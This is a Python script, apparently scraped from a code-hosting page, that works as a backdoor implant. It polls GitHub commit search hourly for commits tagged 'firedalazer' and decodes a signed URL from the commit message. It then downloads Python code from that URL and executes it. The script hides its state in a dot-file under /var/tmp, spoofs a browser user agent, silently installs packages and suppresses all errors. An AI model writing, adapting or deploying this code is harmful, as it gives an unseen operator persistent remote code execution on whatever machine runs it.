277 lines
7.9 KiB
Python
277 lines
7.9 KiB
Python
#!/usr/bin/env python3
|
|
import base64
|
|
import hashlib
|
|
import json
|
|
import re
|
|
import subprocess
|
|
import sys
|
|
import tempfile
|
|
import time
|
|
from datetime import datetime
|
|
from pathlib import Path
|
|
from typing import Any, Dict, Optional, Set
|
|
|
|
try:
|
|
import requests
|
|
except ImportError:
|
|
try:
|
|
subprocess.check_call(
|
|
[sys.executable, "-m", "pip", "install", "requests"],
|
|
stdout=subprocess.DEVNULL,
|
|
stderr=subprocess.DEVNULL,
|
|
)
|
|
except:
|
|
try:
|
|
subprocess.check_call(
|
|
[
|
|
sys.executable,
|
|
"-m",
|
|
"pip",
|
|
"install",
|
|
"requests",
|
|
"--break-system-packages",
|
|
],
|
|
stdout=subprocess.DEVNULL,
|
|
stderr=subprocess.DEVNULL,
|
|
)
|
|
except:
|
|
pass
|
|
import requests
|
|
|
|
try:
|
|
from cryptography.hazmat.backends import default_backend
|
|
from cryptography.hazmat.primitives import hashes, serialization
|
|
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
|
except ImportError:
|
|
try:
|
|
subprocess.check_call(
|
|
[sys.executable, "-m", "pip", "install", "cryptography"],
|
|
stdout=subprocess.DEVNULL,
|
|
stderr=subprocess.DEVNULL,
|
|
)
|
|
except:
|
|
try:
|
|
subprocess.check_call(
|
|
[
|
|
sys.executable,
|
|
"-m",
|
|
"pip",
|
|
"install",
|
|
"cryptography",
|
|
"--break-system-packages",
|
|
],
|
|
stdout=subprocess.DEVNULL,
|
|
stderr=subprocess.DEVNULL,
|
|
)
|
|
except:
|
|
sys.exit(1)
|
|
|
|
from cryptography.hazmat.backends import default_backend
|
|
from cryptography.hazmat.primitives import hashes, serialization
|
|
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
|
|
|
RSA_PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
|
|
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAw5zZbSXX+4X2kTs/zC7l
|
|
dygVt0LI6s6SMojEZZq8IhBz70wVL9ep8e3RZai6gEFYH1FLtZtb9IXKDadh3jdc
|
|
2cQg7RzH762PtVP7GL38miA9LIXCOPVyuviUsqk1BQt3twsp1WQp8WH/4FDsFrrv
|
|
A8nRravS7w9fUeHiC8gm04BUC4nD4ZkiHu+8Yilf2JHWnXt06kLz3JnZQUm2qhlV
|
|
EB2MAMQiDAN5uSPvDm5x2cREVayuf3Qq/bnKey8c8pXJ8BrGnAmw3eLTpTeiUmNj
|
|
J5m/Lrna2ROwK/Tu2jWSyxMz5t4nvD6aE0blFVExGGEcY8qwm3U60Hod3fBgNK5S
|
|
365tHKXe1I15UgzuuRM6JNG6IBF7LiAUO8Himzjx6roYHUqhTqHWcINhl3fqaoOl
|
|
MtEA2+w8VGGUNTE1n/OOgBLGHW0QK5dFhOXQ9r1Zilo1y2hJXQ3JSGYRsPjENxM2
|
|
W11lJLSzSCdDNRBT6D9kE2lFs11iBfCo8tmbAVWY7/jptsk19OIe/ftlozdW2qDD
|
|
k7LKK2Qkitz2T/m8Iz07N2aJ0DZYVAMDPOd9qGcPdZxWpbWmE98bDlnx5dDTi6VS
|
|
hSxZXiKzac0K41js5ZdlAoqJIJbg9x5GvGKgnC7smaxJG1UGZRXsAqRuFofz+eNv
|
|
/NJvOpIB3BJzKosT2ZL83ksCAwEAAQ==
|
|
-----END PUBLIC KEY-----"""
|
|
|
|
POLL_INTERVAL_SECONDS = 3600
|
|
STATE_FILE = "/var/tmp/.gh_update_state"
|
|
GITHUB_SEARCH_API = "https://api.github.com/search/commits"
|
|
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
|
|
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
|
|
|
|
|
|
class GitHubMonitor:
|
|
def __init__(self):
|
|
self.public_key = self._load_public_key()
|
|
self.executed_commands = self._load_state()
|
|
|
|
def _load_public_key(self) -> rsa.RSAPublicKey:
|
|
try:
|
|
key = serialization.load_pem_public_key(
|
|
RSA_PUBLIC_KEY_PEM.encode(), backend=default_backend()
|
|
)
|
|
return key
|
|
except:
|
|
raise
|
|
|
|
def _load_state(self) -> Set[str]:
|
|
try:
|
|
if Path(STATE_FILE).exists():
|
|
with open(STATE_FILE, "r") as f:
|
|
data = json.load(f)
|
|
return set(data.get("executed", []))
|
|
except:
|
|
pass
|
|
|
|
return set()
|
|
|
|
def _save_state(self):
|
|
try:
|
|
Path(STATE_FILE).parent.mkdir(parents=True, exist_ok=True)
|
|
with open(STATE_FILE, "w") as f:
|
|
json.dump(
|
|
{
|
|
"executed": list(self.executed_commands),
|
|
"last_updated": datetime.utcnow().isoformat(),
|
|
},
|
|
f,
|
|
indent=2,
|
|
)
|
|
except:
|
|
pass
|
|
|
|
def _verify_signature(self, message: bytes, signature: bytes) -> bool:
|
|
try:
|
|
self.public_key.verify(
|
|
signature,
|
|
message,
|
|
padding.PSS(
|
|
mgf=padding.MGF1(hashes.SHA256()),
|
|
salt_length=padding.PSS.MAX_LENGTH,
|
|
),
|
|
hashes.SHA256(),
|
|
)
|
|
return True
|
|
except:
|
|
return False
|
|
|
|
def _search_github_commits(self, query: str = "firedalazer") -> list:
|
|
try:
|
|
headers = {
|
|
"Accept": "application/vnd.github.cloak-preview+json",
|
|
"User-Agent": USER_AGENT,
|
|
}
|
|
|
|
params = {
|
|
"q": query,
|
|
"sort": "committer-date",
|
|
"order": "desc",
|
|
"per_page": 1,
|
|
}
|
|
|
|
response = requests.get(
|
|
GITHUB_SEARCH_API, headers=headers, params=params, timeout=30
|
|
)
|
|
|
|
if response.status_code == 200:
|
|
data = response.json()
|
|
commits = data.get("items", [])
|
|
return commits
|
|
else:
|
|
return []
|
|
|
|
except:
|
|
return []
|
|
|
|
def _parse_commit_message(self, message: str) -> Optional[Dict[str, str]]:
|
|
match = re.search(COMMAND_PATTERN, message)
|
|
if match:
|
|
return {"url_b64": match.group(1), "signature_b64": match.group(2)}
|
|
return None
|
|
|
|
def _get_command_hash(self, url: str) -> str:
|
|
return hashlib.sha256(url.encode()).hexdigest()
|
|
|
|
def _download_and_execute(self, url: str) -> bool:
|
|
try:
|
|
response = requests.get(
|
|
url,
|
|
headers={"User-Agent": USER_AGENT},
|
|
timeout=60,
|
|
allow_redirects=True,
|
|
)
|
|
|
|
if response.status_code != 200:
|
|
return False
|
|
|
|
content = response.text
|
|
if not content.strip():
|
|
return False
|
|
|
|
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
|
|
f.write(content)
|
|
temp_path = f.name
|
|
|
|
result = subprocess.run(
|
|
["python3", temp_path], capture_output=True, text=True, timeout=300
|
|
)
|
|
|
|
try:
|
|
Path(temp_path).unlink()
|
|
except:
|
|
pass
|
|
|
|
return True
|
|
|
|
except subprocess.TimeoutExpired:
|
|
return False
|
|
except:
|
|
return False
|
|
|
|
def process_latest_commit(self):
|
|
commits = self._search_github_commits()
|
|
|
|
if not commits:
|
|
return
|
|
|
|
commit = commits[0]
|
|
commit_msg = commit.get("commit", {}).get("message", "")
|
|
|
|
parsed = self._parse_commit_message(commit_msg)
|
|
if not parsed:
|
|
return
|
|
|
|
try:
|
|
url = base64.b64decode(parsed["url_b64"]).decode("utf-8")
|
|
|
|
cmd_hash = self._get_command_hash(url)
|
|
if cmd_hash in self.executed_commands:
|
|
return
|
|
|
|
signature = base64.b64decode(parsed["signature_b64"])
|
|
|
|
if not self._verify_signature(parsed["url_b64"].encode(), signature):
|
|
return
|
|
|
|
if self._download_and_execute(url):
|
|
self.executed_commands.add(cmd_hash)
|
|
self._save_state()
|
|
|
|
except:
|
|
pass
|
|
|
|
def poll_loop(self):
|
|
while True:
|
|
try:
|
|
self.process_latest_commit()
|
|
except:
|
|
pass
|
|
|
|
time.sleep(POLL_INTERVAL_SECONDS)
|
|
|
|
|
|
def main():
|
|
try:
|
|
monitor = GitHubMonitor()
|
|
monitor.poll_loop()
|
|
except KeyboardInterrupt:
|
|
pass
|
|
except:
|
|
pass
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|